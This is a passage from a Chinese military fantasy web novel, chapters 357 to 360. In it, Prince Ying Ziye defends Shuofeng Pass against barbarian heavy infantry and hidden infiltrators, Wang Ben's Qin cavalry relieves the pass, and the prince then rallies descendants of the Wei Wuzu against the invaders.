蒙犽面无表情,端起案几上的清水喝了一口,淡淡道:“本将军自然看得出。”
副将疑惑:“那将军为何还……”
蒙犽放下水杯,眼中闪过一丝深邃的精光:“正因为看得出,才更要逼他们一把。”
“楼兰,以及西域其他诸国,如今就像墙头草,风吹两边倒。”
“若我军真与大月氏开战,他们即便不明着对抗,也难保不会在背后做些小动作,断我粮道,袭扰侧翼。”
“虽不致命,却如附骨之疽,徒增麻烦。”
他站起身,走到西域地图前,手指点着楼兰的位置:“现在,逼他们去传这话,就是把他们彻底绑上我大秦的战车!”
“他们去传了话,就等于公开站队,与大月氏结了仇。”
“届时,他们除了死死依靠我大秦,还有别的选择吗?”
“若敢三心二意,不用我们动手,大月氏第一个就不会放过他们!”
副将恍然大悟,敬佩道:“将军高明!”
“如此一来,楼兰等国便只能死心塌地为我军所用,至少不敢在背后捅刀子了!”
蒙犽微微颔首,目光再次投向西方大月氏的方向,冷声道:“至于大月氏…交出叛逆则罢!”
“若是不交……”
“这西域,正好需要杀一只够分量的鸡,来儆一儆那些不安分的猴子。”
他的语气平淡,却蕴含着不容置疑的铁血意志!
厅内众将闻言,无不凛然!
这位年轻的主将,不仅用兵如神,这驾驭人心,操控大势的手段,更是令人心折。
不愧是蒙恬将军的嫡子!
……
夜色深沉。
朔风关指挥所内烛火摇曳,映照着赢子夜凝重的面容。
一名浑身带着夜露寒气的斥候单膝跪地,声音急促地禀报:
“殿下,已探明!白日那支戎骑退至北面三十里外的野狼谷,与驻扎在那里的大股蛮军以及至少两万戎族骑兵汇合!”
“敌军旌旗招展,营盘连绵,人数恐不下五万之众!”
赢子夜眼中寒光一闪,果然!
那支千人骑兵根本不是什么主力,甚至连偏师都算不上,纯粹就是派出来试探虚实的斥候!
用一千人来当斥候,好大的手笔!
也足见敌军主将的狂妄和对朔风关的势在必得。
“看来,今日不过是餐前小菜,真正的盛宴,还在后面。”
赢子夜声音低沉,带着一丝冰冷的了然。
他转头看向阴影处,“城中情况如何?可有发现?”
赵戈苍的身影悄然浮现,摇了摇头,声音带着一丝不易察觉的困惑:“回主上,属下等人日夜紧盯,尤其是新入城的难民区域,但……至今尚未发现任何异常举动。”
“那些人似乎真的只是普通逃难
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百姓,除了对食物和住所的渴望,并无其他异动。”
赢子夜闻言,眉头微微蹙起,手指无意识地敲击着桌面。
难道……
真是自己多虑了?
那支戎骑的出现,仅仅是为了军事侦察,并无配合细作里应外合的打算?
是自己将对手想得太过狡猾了?
一丝自我怀疑掠过心头,但很快便被更深的警惕压下。
战场之上,任何侥幸心理都是致命的。
他宁愿相信自己的直觉,相信那看似平静水面下的暗流。
“继续盯住!”
赢子夜语气不容置疑,“越是平静,越可能隐藏着危险。”
“告诉下面的人,不可有丝毫松懈!”
“重点留意那些看似最普通,最不起眼的人,往往最致命的毒,就藏在最柔软的伪装之下。”
“诺!卑职明白!”
赵戈苍领命,身影再次融入黑暗。
赢子夜站起身,走到沙盘前,目光死死钉在代表蛮军主力集结的野狼谷位置。
敌军已然汇合,兵力远超朔风关现有守军,试探也已完成。
下一步,必然是雷霆万钧的攻势!
他猛地转身,对守候在旁的将领李焕沉声道:“李将军!”
“末将在!”
李焕挺身应道。
“传令全军!即刻起,进入最高战备状态!”
“城墙守军增加一倍,**器械全部就位,滚木礌石火油务必充足!”
“巡逻队十二时辰不间断!”
“告诉将士们,蛮军主力已至,大战一触即发!”
“都给我打起十二分的精神,准备迎接恶战!”
他的声音斩钉截铁,带着一股山雨欲来的紧迫感:“倘若今日真是斥候试探,那么敌军的进攻,最快就在明日拂晓!”
“我们要让蛮子知道,想啃下朔风关这块骨头,就得做好崩掉满嘴牙的准备!”
“末将遵命!”
李焕感受到赢子夜话语中的决绝,血液仿佛也沸腾起来,重重抱拳,“请殿下放心!”
“朔风关上下,誓与关城共存亡!”
命令迅速传达下去,原本还有些许松懈的朔风关,瞬间如同一张拉满的弓,每一个角落都弥漫着紧张肃杀的气氛。
赢子夜独立窗前,望着城外漆黑的夜空。
心中那丝关于细作的疑虑并未完全消散。
反而,如同悬在头顶的利剑,提醒着他,这场守城战,绝不会轻松!
第357章 援军抵至!
黎明前的黑暗,被急促而凄厉的号角声彻底撕裂!
朔风关如同被惊醒的巨兽,瞬间进入了战斗状态!
赢子夜几乎是和号角声同步冲上了城墙。
玄衣在晨风中拂动,带着一夜未眠的疲惫,但眼神却锐利如初升的朝阳!!
城墙上,士兵们奔跑、呼喝。
**手迅速就位,沉重的**车被推上射击位,发出令人牙酸的机括转动声。
空气中弥漫着铁锈、汗水和一种令人窒息的紧张感。
“情况如何?”
赢子夜沉声问道,目光已然投向关外。
守将李焕脸色极其难看,指着城外,声音带着一丝不易察觉的颤抖:“殿下,您看!”
只见关外原本空旷的荒原上,此刻已被一片移动的“铁山”所覆盖!
那并非骑兵,而是一个个身高近乎丈余,浑身覆盖着厚重黝黑铁甲的蛮族重步兵!
他们手持堪比门板的巨斧或狰狞的狼牙棒,每一步踏下都仿佛让大地为之震颤,如同从远古神话中走出的巨人兵团!
阳光尚未完全展露。
但那冰冷的铁甲已然反射出令人心寒的光芒。
一股纯粹力量带来的恐怖压迫感,如同实质般扑面而来!
更让人心悸的是,在这支重甲步兵的后方,并未看到预想中如影随形的草原轻骑。
只有一片死寂。
仿佛那些来去如风的骑兵凭空消失了一般。
“骑兵未动……是想等我们被重步兵消耗殆尽,再一举冲垮吗?”
赢子夜心念电转,但此刻已无暇细究。
“呜嗷——!”
蛮军阵中,传来了低沉如同蛮牛咆哮的进攻号角!
“轰!轰!轰!”
那一片“铁山”开始了冲锋!
速度竟然不慢!
沉重的脚步践踏大地,发出闷雷般的巨响,整个朔风关的城墙似乎都在随之轻微震动!
“放箭!快放箭!”
李焕声嘶力竭地大吼!
城墙上箭如雨下!
密集的箭矢带着凄厉的呼啸,如同飞蝗般射向那些冲锋的铁甲巨人!
然而,令人绝望的一幕发生了!
锋利的箭簇撞击在厚重的铁甲上,大多只是迸溅出一溜火星,便被无情地弹开!
偶有箭矢从甲胄缝隙射入,对于这些体型庞大,生命力顽强的蛮族战士而言,也如同挠痒痒一般。
根本无法阻挡他们冲锋的步伐!
他们的速度,竟没有受到半分影响!
“这……这怎么可能?!”
一名年轻的弓箭手看着自己全力射出的箭矢被轻易弹开,目瞪口呆,脸上写满了难以置信和惊恐。
“巨**!用巨**!”
李焕眼睛赤红,厉声下令!
城墙上的床**发出了沉闷的咆哮!
儿臂粗细的巨型**箭,带着撕裂空气的尖啸,如同黑色的闪电,射向冲在最前面的蛮族重步兵!
“噗嗤!”
一支巨**精准地命中了一名蛮族战士的胸膛!
厚重的铁甲被瞬间洞穿!
那蛮族战士发出一声闷哼,巨大的冲击力让他踉跄后退!
然而,接下来的一幕让所有守军的心都沉入了谷底!
只见那名被洞穿的蛮族战士,竟在倒下前,用那双蒲扇般的大手,死死抓住了穿透身体的**箭杆!
他凭借着一股蛮力,硬生生止住了后退的趋势,甚至借着**箭的冲击力,如同一个被抛出的重物,狠狠撞向了身后的同伴!
“嘭!”
几声闷响,几名蛮族战士被撞得东倒西歪。
但,也仅此而已!
那名被洞穿的蛮族战士轰然倒地,气息断绝。
可他身后那些被撞到的战士,只是晃了晃身子,便重新站稳,甚至连铁甲都没有明显变形!
他们发出愤怒的咆哮,冲锋的速度反而更快了!
巨**,竟然也只能做到一对一的兑子,而且无法形成有效的贯穿杀伤!
绝望的情绪如同瘟疫般在守军心中蔓延。
就这么一耽搁的功夫,蛮族重步兵的先锋已经冲到了城墙之下!!
他们并未携带云梯。
而是十几人一组,扛着需要数人合抱的巨型撞木,对着包铁的城门发起了狂暴的撞击!
“咚!!!”
一声沉闷如远古巨兽心跳的巨响,震得整个城门楼都在颤抖!
墙灰簌簌落下。
“滚木!礌石!给我砸!”
李焕目眦欲裂,亲自抱起一块巨石向下砸去!
守军们奋力将滚木礌石推下城墙!
然而,下方的蛮族重步兵立刻举起了巨大的铁盾,组成密不透风的盾阵!
沉重的滚木礌石砸在铁盾上,发出震耳欲聋的轰鸣。
却难以将其砸穿。
大多只是让举盾的蛮族战士身体晃了晃,脚下陷得更深而已!
“用火油!倒火油!”
有校尉急声大喊。
几罐火油被倾泻而下,随即火箭射落!
火焰瞬间升腾,灼烧着铁盾和下方的蛮族战士。
然而,那些蛮族战士竟发出狂野的咆哮,硬顶着火焰的灼烧,依旧死死扛着撞木。
一下,又一下!
疯狂地撞击着城门!
仿佛那火焰只是为他们助兴的舞蹈!
城墙后方远处。
蛮军主阵中,一名身材格外魁梧,脸上带着交叉疤痕,如同熊罴般的蛮族大将——
兀突骨麾下的头号猛将“裂骨者”赫连狰,正骑在一头巨大的披毛犀牛上,狞笑着看着前方的战况。
他舔了舔嘴唇,声音如同砂石摩擦:
“哼,秦狗也就这点能耐了!”
“传令下去,让儿郎们加把劲!”
“照这个势头,用不了一个时辰,就能把这破城门给老子撞开!”
“到时候,老子要亲手把那个什么狗屁六公子的脑袋拧下来当酒碗!”
……
朔风关城门之后。
上百名秦军精锐士卒用肩膀、用后背,用一切能找到的支撑物。
死死抵住那扇在不断承受狂暴撞击的包铁木门。
每一次沉重的撞击声传来。
门栓都发出令人牙酸的**!
门板剧烈震颤,木屑簌簌落下,仿佛下一刻就要四分五裂。
士兵们咬紧牙关,额头青筋暴起,汗水混合着墙上震落的灰尘流淌下来,每个人的脸上都写满了决绝与力竭。
城楼之上。
李焕看着下方摇摇欲坠的城门,急得双眼赤红,冲到赢子夜面前,声音嘶哑:“公子!”
“不能再等了!”
“桐油也只能暂缓一时,城门支撑不了半个时辰了!”
赢子夜面沉如水,目光扫过城下那些在火焰中依旧悍不畏死,轮番冲击城门的蛮族重步兵,冷声道:“用桐油!”
“倒桐油!”
李焕转身厉声嘶吼!
早已准备好的守军立刻将一锅锅烧得滚烫,冒着青烟的桐油,顺着城
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墙倾泻而下!
“嗤——啦——!”
滚烫的桐油浇在铁甲和皮肤上,发出令人毛骨悚然的声响,白色的水汽混合着皮肉烧焦的恶臭瞬间弥漫开来!
下方顿时响起一片凄厉至极的惨叫,一些蛮族士兵丢下撞木,痛苦地在地上翻滚,冲锋的势头为之一滞。
然而,这喘息之机转瞬即逝。
蛮军后方立刻有新的士兵补上,拾起撞木,继续疯狂撞击!
所有人都清楚,城中的桐油储备有限。
一旦用尽,城门被破依旧是时间问题。
就在这千钧一发之际——
“杀——!”
城内靠近城门区域的难民棚户区,突然爆发出震天的喊杀声!
数百名原本看起来衣衫褴褛,惊恐无助的“难民”,猛地撕开外袍,露出了里面精悍的皮甲。
抽出隐藏的猎刀和短斧。
如同饿狼般扑向正在全力顶住城门的秦军士卒!
他们动作迅猛,配合默契,显然都是精锐战士伪装!
“不好!有内应!”
李焕脸色剧变,看着城内突然出现的混乱,心急如焚,“**手!”
“调转方向,射杀他们!”
“不可!”
赢子夜立刻制止,他目光扫过那些混战区域周围惊慌失措,四处奔逃的真正难民,“城中百姓密集,**齐发,极易误伤!”
“那……那该如何?”
李焕急道。
“命**兵结阵上前,擒拿格杀!”
“一个不留!”
赢子夜声音冰冷,带着凛冽的杀意。
命令下达,一队队秦军**兵立刻挺枪结阵,冲向那些作乱的蛮族细作。
与此同时,早已潜伏在难民中的暗河**也如同鬼魅般出手!
他们不出声,不呐喊,只有**和短刃划破空气的细微声响,以及敌人喉管被割开时压抑的闷哼。
每一次出手,都精准而致命,高效地清理着混在人群中的威胁。
“留几个活口!”
赢子夜补充道,他需要从这些人口中撬出更多情报。
城内的骚乱虽然被迅速反应压制,但不可避免地分散了守军的注意力,顶门的士卒也出现了瞬间的慌乱。
城外。
一直密切关注战局的蛮军大将赫连狰,看到城头上突然出现的混乱和隐约传来的城内喊杀声,狰狞的脸上露出了狂喜之色。
“哈哈!大王的奇兵奏效了!”
“儿郎们,秦狗内乱了!”
“给老子全力猛攻!”
“一举撞开城门!”
“呜嗷——!”
蛮军进攻的号角变得更加急促和疯狂!
撞木冲击城门的频率和力量再次提升!
城门后的秦军士卒压力倍增,几乎要支撑不住!
就在这内外交困、城门即将告破的绝望时刻——
“呜——嗡——!”
一道苍凉、雄浑、带着金属震颤感的号角声,如同从地平线下升起,清晰地穿透了战场上所有的喧嚣,传入了每一个人的耳中!
这号角声……不是蛮族的!
是秦军的号角!!!
城头上,几乎所有还能行动的守军,都不由自主地循声望去!
只见在朔风关的东南方向。
那片被朝阳染成金色的地平线上,一道黑色的细线骤然出现,并以肉眼可见的速度迅速变粗、扩大!
那不是步兵,是骑兵!
是如同潮水般汹涌而来的大秦铁骑!
第358章 穷寇莫追!
首先映入眼帘的,是那如林般耸立,在朝阳下闪烁着冰冷寒光的马槊长戟!
紧接着,是骑士们身上那统一的,黝黑发亮的玄色重甲。
连战马的关键部位都覆盖着坚实的甲叶!
他们沉默着,没有呐喊。
只有成千上万铁蹄践踏大地的声音汇聚成一股低沉而恐怖的闷雷。
由远及近,震得人心头发麻!!!
黑色的战旗在风中猎猎作响,上面狰狞的玄鸟图案仿佛要活过来一般!
这支重甲骑兵洪流,带着一股碾碎一切,无可阻挡的磅礴气势,如同一柄黑色的巨锤,正以雷霆万钧之势,朝着蛮军侧翼狠狠砸来!
他们的出现,瞬间改变了整个战场的气氛!
“是援军!”
“是我们的援军到了!”
不知是哪个守军率先发出了撕心裂肺的欢呼,这声音如同点燃了引信,瞬间引爆了整个城头!
“援军!是陛下派来的援军!”
“大秦万胜!”
绝处逢生的狂喜和激动,让疲惫不堪的守军爆发出了惊人的力量!
连那摇摇欲坠的城门,仿佛都在这震天的欢呼声中,暂时稳固了几分!
赢子夜看着那支如同神兵天降的黑色洪流,一直紧绷的脸上,终于露出了一丝如释重负的痕迹。
他握紧了剑柄,知道,反击的时刻,到了!
……
王贲率领的大秦重骑,如同黑色的死亡潮水般撞入蛮军侧翼!!
整个战场的形式瞬间逆转!
这不是一场充满技巧与迂回的较量,而是两支崇尚绝对力量的军队,最原始、最野蛮、也最残酷的正面碰撞!
“轰——!”
如同两座移动的铁山狠狠对撞!
沉闷到令人心脏停跳的巨响掩盖了一切喊杀!
冲在最前方的大秦重骑,人马皆披玄甲。
骑士手持长达一丈有余的马槊,借助着战马狂奔带来的恐怖惯性,如同热刀切肉般,狠狠地楔入了蛮族重步兵的阵型之中!
“噗嗤!咔嚓!”
马槊洞穿铁甲,撕裂血肉,折断骨骼的声音令人牙酸!
蛮族战士引以为傲的厚重铁甲,在专门破甲的马槊和重骑冲锋的绝对力量面前,显得如此脆弱!
一名蛮族勇士怒吼着挥动巨斧,斧刃砍在秦军骑士的胸甲上,迸溅出一溜火星,却只留下了一道白痕。
而下一刻。
骑士冰冷的马槊已经精准地刺入了他的咽喉。
将他庞大的身躯直接挑飞出去,撞倒了身后数人!
大秦重骑沉默着,只有粗重的呼吸声,甲胄摩擦的铿锵声,兵刃入肉的闷响以及战马喷吐着白气的鼻息声。
他们如同一台台精密而高效的杀戮机器。
三人一组,五人为阵,马槊突刺,环首刀劈砍,配合得天衣无缝!
他们的推进速度虽然极快!
但每一步都稳如泰山!
每一步都带着碾碎一切的意志!
将蛮军看似坚不可摧的阵线,硬生生地撕裂、挤压、碾碎!
蛮族战士的勇武在个体上或许不落下风,但他们缺乏这种严整的纪律和高效的杀戮配合。
往往一名蛮族战士奋力劈开一名秦骑的马槊,侧面立刻就有另一柄马槊刺来。
他格挡开侧面的攻击,战马沉重的铁蹄已经践踏而至!
他们如同陷入了钢铁的泥沼,空有蛮力却无处施展,只能眼睁睁看着黑色的洪流缓慢而坚定地将他们吞噬。
城头之上。
赢子夜丢下了长剑,大步走到那面巨大的战鼓前,从鼓手手中接过沉重的鼓槌。
他深吸一口气,玄衣在风中激荡,双臂猛然挥动!
“咚!!!”
一声沉重如闷雷的鼓声,骤然响起,压过了战场所有的喧嚣,清晰地传入了每一个浴血奋战的秦军将士耳中!
“咚!咚!咚!咚——!”
赢子夜双臂肌肉贲张,用尽全身力气,擂响了这面代表着不屈与反击的战鼓!
鼓点从一开始的沉重。
逐渐变得急促、激昂。
如同千军万马在奔腾,如同黄河之水在咆哮!
这鼓声,不再仅仅是助威,更是一种信念的传递,一种意志的宣告!
“风!风!风!”
正在死战的大秦重骑听到了这熟悉的战鼓声,看到了城头那道擂鼓的玄色身影,原本就高昂的士气瞬间爆棚!
他们发出了震天的怒吼,手中的兵刃挥舞得更加狂暴!
原本就占据优势的战线,推
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进的速度陡然加快!
一名秦军重骑校尉,面甲下发出沉闷的吼声,马槊横扫,将一名蛮族百夫长连人带盾砸得倒飞出去。
他举起染血的马槊,指向混乱的蛮军中军大旗:“目标,敌酋帅旗!碾过去!”
“碾过去!”
周围的骑士齐声怒吼,调整方向,如同一个巨大的黑色铁锥,朝着赫连狰所在的位置发起了决死冲锋!
赫连狰看着自己麾下最引以为傲的重步兵,在那支突然出现的秦军重骑面前竟如土鸡瓦狗般被摧垮。
又听到那催命的战鼓和秦军山呼海啸般的“风”声。
脸上的狂傲,早已被惊怒和一丝恐惧所取代。
他挥舞着战刀,试图组织起有效的抵抗。
但在大秦重骑无情的铁蹄和锋利的马槊面前,一切抵抗都显得如此徒劳。
战场彻底变成了修罗屠场!
没有闪转腾挪,没有花哨技巧,只有最纯粹的力量碰撞和生命消耗。
钢铁与血肉交织,怒吼与惨叫共鸣!
断肢残臂四处飞溅!
鲜血将大地染成了暗红色,浓烈的血腥气冲天而起,连天空的朝阳似乎都被蒙上了一层血色!
城内的骚乱也在暗河和秦军步兵的联手**下迅速平息!
几十名伪装成难民的蛮族细作大部分被当场格杀!
只留下了几个被刻意打晕的活口,如同死狗般被拖走。
当蛮军的中军大旗在赫连狰绝望的注视下,被一名秦军骁尉一刀砍断,轰然倒地时,蛮军最后一丝斗志也彻底崩溃了!
残存的蛮族士兵发一声喊。
再也顾不得什么军令,丢盔弃甲,向着来时的方向亡命奔逃。
“呜——嗡——!”
秦军阵中响起了收兵的号角。
王贲并没有下令追击。
重骑兵不擅长途奔袭,且此战目的已达。
击溃蛮军主力,解朔风关之围。
穷寇莫追,尤其是在这敌情不明的北疆。
黑色的铁骑如同潮水般缓缓退下,留下了一片尸横遍野,如同被犁过一遍的战场。
他们沉默地驻马,擦拭着兵刃上的血迹,调整着呼吸。
玄甲上,沾满了敌人的血肉,如同刚从地狱归来的魔神。
第359章 他们这是想以点连片!!!
一个时辰后。
朔风关内。
临时清理出的将军府大堂,血腥气尚未完全散去。
大将王贲顶盔贯甲,龙行虎步而入,虽经苦战,甲胄上沾染血污,但神色依旧沉稳如山。
他行至堂中,对着主位的赢子夜抱拳躬身,声音洪亮:“末将王贲,奉命驰援来迟,令殿下受惊,请殿下责罚!”
赢子夜起身,亲手扶起王贲,脸上带着诚挚的赞许:“王将军何罪之有?”
“若非将军率铁骑如神兵天降,雷霆一击,朔风关危矣!”
“将军力挽狂澜,功在社稷,何谈责罚?”
“本公子定当禀明父皇,为将军及麾下将士请功!”
王贲心中微暖,沉声道:“此乃末将分内之事,不敢居功。”
“殿下临危不乱,坐镇城头,擂鼓助威,激励三军,方是此战关键。”
两人略作寒暄,赢子夜便请王贲落座,商讨后续布防及大军休整事宜。
王贲所部十五万援军主力尚在途中,其先锋重骑虽解了朔风关之围,但后续步卒、粮草仍需时间。
且需防范蛮军卷土重来。
正当二人商议之际,暗河统领赵弋苍悄无声息地出现在堂下阴影中。
赢子夜见状,对王贲道:“王将军,大军初至,鞍马劳顿,还请先安排将士们扎营造饭,好生休整。”
“具体防务,稍后再议。”
王贲知趣,起身拱手:“末将遵命,先行告退。”
说罢,转身大步离去,甲胄铿锵。
待王贲离去,赵弋苍才上前一步,单膝跪地,声音低沉而清晰:“主上,城内潜伏的蛮军细作,已审讯完毕。”
赢子夜目光一凝:“讲。”
赵弋苍语气凝重:“据活口讲述,他们这支小队,接到的命令并非常规的里应外合,而是在城破之前,便混入难民之中,伺机潜入各座城池。”
“他们的任务,也并非固定在某一处配合攻城,而是如同水银泻地,散布于北疆各城之间!”
“一旦发现有我军防守薄弱,或敌军大举攻城之时,便立刻集结作乱,制造混乱,配合破城!”
赢子夜闻言,瞳孔骤然收缩,猛地从座位上站起:“散布各城?”
“伺机而动?”
“像他们这样的队伍,还有多少?”
赵弋苍摇了摇头,脸上也带着棘手的神色:“他们也不知。”
“据称,各小队之间互无统属,亦无横向联系,只接受来自上层单线的指令。”
“有多少支这样的队伍,潜伏在多少座城中,无人知晓。”
“他们就像一颗颗埋在土里的毒刺,不知何时会突然钻出来,给予我们致命一击!”
“互无联系…散布潜伏……”
赢子夜缓缓踱步,指尖冰凉。
这种手段,极其阴毒,也极其有效!
它完全打破了常规战争中细作活动的模式,没有固定的据点,没有明确的联络网,让你防不胜防!
今天可能在朔风关,明天就可能出现在雁门。
后天或许就在某个不起眼的小县城里突然发难!
你根本不知道敌人藏在哪里,什么时候会跳出来。
这比面对一支明确的敌军更加令人头疼!
因为你无法集中力量去清除,只能被动地,时刻提防着来自内部任何可能的袭击。
这需要每一座城池,每一位守将,都打起十二万分的精神!
“好狠辣的手段!”
赢子夜声音冰冷,带着一丝压抑的怒火,“如此一来,我北疆后方,再无宁日!”
“将士们在前线血战,还要时刻担心背后捅来的刀子!”
他深吸一口气,强迫自己冷静下来。
愤怒解决不了问题。
“立刻将此情报,以八百里加急,通传北疆所有郡县、关隘、戍堡!”
赢子夜斩钉截铁地下令,“告诉他们,非常时期,行非常之法!”
“自即日起,所有新接收的难民,必须严格甄别,集中安置在城外指定区域,严加看管,不得随意入城!”
“城内原有居民,亦需加强盘查和管理!”
“宁可错拘,不可错放!”
“任何可疑人员,立即扣押审讯!”
他走到案前,铺开绢帛,亲自提笔书写命令,字迹铁画银钩,带着不容置疑的威严!
“同时,传令各城守将,提高警戒级别,增派巡逻人手,尤其是对粮仓、武库、水源、城门等要害之地,必须重兵把守,日夜不休!”
“凡有**,疏于防范者,无论官职,立斩不赦!”
写罢,他盖上自己的印信,交给赵弋苍:“速去办理!要快!”
“诺!”
赵弋苍双手接过命令,身影迅速消失。
……
接下来的数日。
朔风关如同一个高速运转的中枢。
来自北疆各地的情报如同雪片般,经由暗河和前线斥候的拼死传递,陆续送达赢子夜的案头。
然而,这些情报并非完整清晰,而是带着血迹、硝烟和巨大不确定性的碎片。
一份来自西面云中郡某个军镇残存守军的**,字迹潦草。
描述了敌军约三万,主将为戎族悍将“秃狼”乌朶,攻势凶猛。
城中潜伏细作趁夜烧毁粮仓,导致军心涣散,城池已于三日前易主……
信使送出此信后便力竭而亡。
另一份来自东北方向高阙塞的密报则提到。
一支约五千人的“金狼骑”异常彪悍,骑士皆着金纹皮甲,座下战马神骏,冲锋时隐隐有狼影相随,速度极快,来去如风。
已连续袭破两座戍堡,守军根本无法捕捉其行踪!
又有暗河成员冒死送回关于“白鹿部落”强者的只言片语。
该部落祭祀能沟通自然,可驱使兽群。
甚至能令草木疯长缠绕敌军,或引动地刺伤人,极为难缠!
曾助蛮军轻易拿下一处依山而建的险要关隘。
但关于其他几路主要蛮军
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,尤其是匈奴本部的兵力配置,主将情报,以及更多强者信息,却迟迟未能送达。
要么是信使中途遭遇不测。
要么是探查过于困难,尚未传回!
情报的滞后与缺失,让赢子夜无法完全掌握全局动态。
更令人揪心的是,尽管他已将潜伏细作的情报紧急通传各地。
但战乱之中,驿道断绝,消息传递速度远远跟不上蛮军推进和细作发难的速度。
不断有新的噩耗传来!
某个县城因为内部细作**,里应外合之下,一夜陷落!
某个关隘因为未能及时收到预警,被伪装成难民的蛮军混入,从内部攻破……
赢子夜站在巨大的北疆地图前,将那些沦陷的城池和已知的敌军动向一一标注出来。
他的目光在地图上反复逡巡,眉头越锁越紧。
渐渐地,一条清晰而恶毒的战略意图浮现在他眼前。
蛮军并非盲目进攻!
他们是以几支主力部队,如同铁拳般,重点猛攻像北地、代、云中这样的郡级大城!
这些大城不仅是区域的行政军事中心,囤积着大量粮草军械,更是交通枢纽。
一旦这些大城被攻克,蛮军就能以此为据点,辐射周边!
而与此同时。
那些数量不明,行踪诡秘的小股部队。
如“金狼骑”、“白鹿部落”强者率领的队伍,以及那些潜伏的细作小队,则负责清扫、攻占郡城周边防御相对薄弱的县城、戍堡、关隘!
赢子夜的手指在地图上划过。
将那些被攻占和正在被攻击的小城与几个被重点进攻的郡城连接起来,脸色瞬间变得无比难看。
“他们是想……连点成片!”
赢子夜的声音带着一丝寒意。
“一旦让他们的战略意图达成,将这些被攻占的郡县连接起来,形成一片稳固的占领区,就等于在北疆腹地钉下了几颗巨大的楔子,彻底割裂了我军的防御体系!”
他重重一拳砸在地图上:“届时,我军若想反击,就会陷入四面受敌,被动挨打的境地!”
“他们可以凭借这些据点,互相支援,不断蚕食我大秦疆土!”
“而我们分散在各处小城的守军兵力薄弱,根本无法主动出击,配合郡城对敌军主力形成合围!”
此刻。
唯一的破解之法,呼之欲出!
必须集中优势兵力,以雷霆万钧之势,先行击溃那几路担任主攻的蛮军主力!
只要打掉了他们的“铁拳”,那些分散的“手指”便不足为惧。
届时,再分兵收复失地,清扫残敌,方能扭转战局!
同时,那些蛮族强者的作用也清晰起来。
他们专挑易守难攻的关隘下手,利用其超凡的能力,以最小的代价攻克天险,为蛮军主力的推进扫清障碍,打开通道!
想通了这一切,赢子夜不再犹豫!
他立刻命人召来了正在城外整顿大军的主将王贲!
第360章 重现魏武荣光!!!
王贲快步走入,身上还带着军营的肃杀之气:“殿下召见,不知有何吩咐?”
赢子夜直接将他引到地图前,手指点向几个关键位置,语气急促而坚定:“王将军,情况紧急,长话短说。”
“蛮军战略已明,其主力正猛攻云中,以及西面的北地郡城!”
“其意图乃是连点成片,割裂我北疆!”
他目光灼灼地看向王贲:“我们必须主动出击,不能坐以待毙!”
“将军麾下援军主力已至,我意,兵分两路!”
“第一路,由将军亲率八万精锐步骑混合主力,即刻北上,驰援云中!”
“务必在云中城破之前赶到,与守军里应外合,击溃围城之敌!”
“云中乃北疆中线门户,绝不容有失!”
王贲目光一凝,沉声道:“末将明白!”
“云中若失,中线危矣!”
“末将即刻点兵出发!”
“第二路,”赢子夜的手指移向西面,“由我率领剩余骑兵及朔风关部分守军,西进驰援北地郡!”
“同时,我会传令周边尚在坚守的县城守军,伺机出击!”
“骚扰敌军粮道,牵制其兵力,配合主力作战!”
他顿了顿,语气无比凝重:“此外,据报蛮军中有‘金狼骑’、‘白鹿部落’等强者助阵,专攻险要关隘。”
“将军此行,需格外小心,若遇此类敌人,不可力敌!”
“当以大军结阵,以**、火攻等远程手段应对,或避其锋芒,交由专门人士处理。”
王贲重重抱拳,声如洪钟:“殿下算无遗策,末将谨记!”
“定不负殿下重托,必破蛮军,扬我大秦天威!”
“好!”
赢子夜用力拍了拍王贲的肩膀,“事不宜迟,将军速去准备,即刻开拔!”
“北疆安危,系于将军此战!”
“诺!”
王贲不再多言,转身大步离去,甲胄铿锵,带着一往无前的决绝。
赢子夜看着王贲离去的背影,深深吸了一口气。
主动出击,分兵救援。
这是一步险棋。
但,也是目前打破僵局唯一的办法。
……
不久后,大军即将开拔。
一名亲卫快步走入,低声禀报:“殿下,田言小姐到了,正在府外等候,言及魏武卒已至。”
赢子夜眼中精光一闪,立刻道:“快请!”
片刻后,一身素雅长裙,气质清冷如雪的田言步入堂内。
她对赢子夜微微颔首,算是行礼,声音平静无波:“殿下,人,我带来了。”
“共计一千零三十七人,皆是魏武卒后裔中遴选出的佼佼者。”
赢子夜点头:“有劳。”
“情况如何?”
田言的美眸中闪过一丝复杂,坦言道:“殿下明鉴。”
“我带他们来时,并未言明具体所为。”
“他们体内流淌着魏人的血,对秦……仇恨犹存。”
“我无法保证,他们会对殿下的命令绝对服从。”
她的话语直接而坦诚,点明了这支特殊力量最大的隐患。
赢子夜闻言,脸上并无愠色,反而露出一丝理解:“无妨。”
“血海深仇,非一日可消。”
“带本公子去见见他们。”
田言微微颔首,不再多言,转身引路。
一行人很快来到朔风关外一片临时划出的营地。
千余名身着陈旧,却擦得锃亮的魏式武卒铠甲的汉子,正沉默地席地而坐,整理着兵刃。
他们的装备与不远处肃立警戒,杀气腾腾的秦兵形成了鲜明对比!
空气中,弥漫着一股无形的紧张和对峙。
当赢子夜和田言出现时,所有魏武卒后裔的目光瞬间汇聚过来。
他们的眼神锐利,带着历经沙场的彪悍!
但更多的是一种深藏的警惕、审视,甚至……
是毫不掩饰的敌意!
尤其是在看到赢子夜身后那些黑甲秦军时,不少人的手都不自觉地握紧了身边的兵器,空气中仿佛有火星在迸溅。
魏国之亡。
正是败于这些悍勇的秦军之手。
这是刻在骨子里的国仇家恨!
赢子夜将这一切尽收眼底。
他面无惧色,步履沉稳地走到营地前方一块稍高的土坡上,目光扫过下方那一张张饱经风霜,写满故事的脸庞。
他清了清嗓子,声音清朗,瞬间压下了场中细微的嘈杂:“诸位壮士!”
“我,乃大秦六公子,赢子夜!”
“秦人!”
“赢氏公子!”
果然,下方立刻响起了一阵压抑不住的骚动和低语,敌视的目光更加锐利,如同刀子般刮在赢子夜身上。
赢子夜对此恍若未闻,他提高了音量,语气沉凝:“我知晓!”
“在你们许多人心中,对大秦,对赢姓,有恨!”
他这句话,让下方的骚动为之一静!
所有人都没想到,这位大秦公子会如此直接地揭开这道血淋淋的伤疤。
“这份恨,源于国破家亡,源于战火离乱,我赢子夜,无法否认,更无权要求你们忘却!”
赢子夜的声音带着一种奇特的穿透力,“但今日,我请田言姑娘召集诸位前来,并非为了清算旧怨,也并非要以秦公子的身份命令你们!”
他话锋陡然一转,如同出鞘的利剑,带着一股磅礴的气势!!
“我是希望,诸位能重披先祖之甲,再握魏武之戈,让那曾令天下侧目,令异族胆寒的‘魏武卒’威名,重现于这北疆沙场!”
“与我大秦将士,共抗侵我山河,屠我同胞的异族蛮军!”
话音未落,下方已是一片哗然!
与秦军并肩作战?
对抗异族?
